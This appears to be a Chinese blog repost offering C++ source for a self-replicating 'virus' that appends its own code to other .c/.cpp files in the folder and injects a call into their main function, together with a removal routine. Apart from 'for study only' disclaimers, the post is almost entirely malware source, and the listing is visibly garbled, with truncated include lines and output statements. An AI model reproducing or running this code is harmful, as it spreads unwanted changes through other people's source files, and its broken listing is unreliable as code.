超强c/c++病毒程序,中毒+杀毒

转载一个病毒代码

​
//START
#include 
#include 
#include 
#include 
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void vir(){ 
	string CurFileName = __FILE__;//绝对路径
	string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string VirusCode[100];//病毒代码 
	string FileCode[500]; //宿主代码
	int CodeLen = 0;//病毒代码长度
	int FileLen = 0;//宿主代码长度 

	//病毒函数调用应当插在"main("后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式 
	int InsertLoc = 0; 

	//提取待传播的当前文件中的病毒代码 
	ifstream VirusFile(obCurFileName.c_str()); 
	for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
	{
		if(VirusCode[CodeLen] == "//END")
		{
    		CodeLen++;
    		break;
   		}
	}
	VirusFile.close();
	//依次感染宿主文件 
	while (true) 
	{
   		//不能感染当前.cpp文件和已感染的文件 
   		if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   		{
    		cout< 500)
    		{
     			cout<
#include 
#include 
#include 
#include 
#include 
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void revir()
{ 
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string FileCode[500];
	//病毒函数调用应当插在"main"后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式
	//依次清除宿主文件 
	while (true) 
	{ 
   		//加载文件
   		int FileLen = 0; //宿主代码长度
   		int MainLoc = 0; //主函数位置 
   		ifstream ibe(FindFileData.cFileName);
   		getline(ibe,FileCode[0]);
   		if(FileCode[0] == "//START")//当前文件被感染过 
   		{
    		//病毒代码要过虑掉 
    		for(FileLen = 0;getline(ibe,FileCode[0]);)
    		{
     			if(FileCode[FileLen] == "//END")
     			{
      				break;
     			}
    		}
    		//宿主未感染前的代码
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if(FileCode[FileLen].find("main") != -1)
     			{
      				MainLoc = FileLen;
     			}			
    		}
   			//清除主文件中的函数调用
    		for (int i = MainLoc;i < FileLen;i++) 
    		{
     			if(FileCode[i].find('{') != -1)
     			{
      				FileCode[i + 1] = "";
      				break;
     			}
    		}
    		ibe.close();
   			ofstream be(FindFileData.cFileName);
    		for(int i = 0;i < FileLen;i++)
    		{
     			be<

你可能感兴趣的:(c语言,c++,开发语言)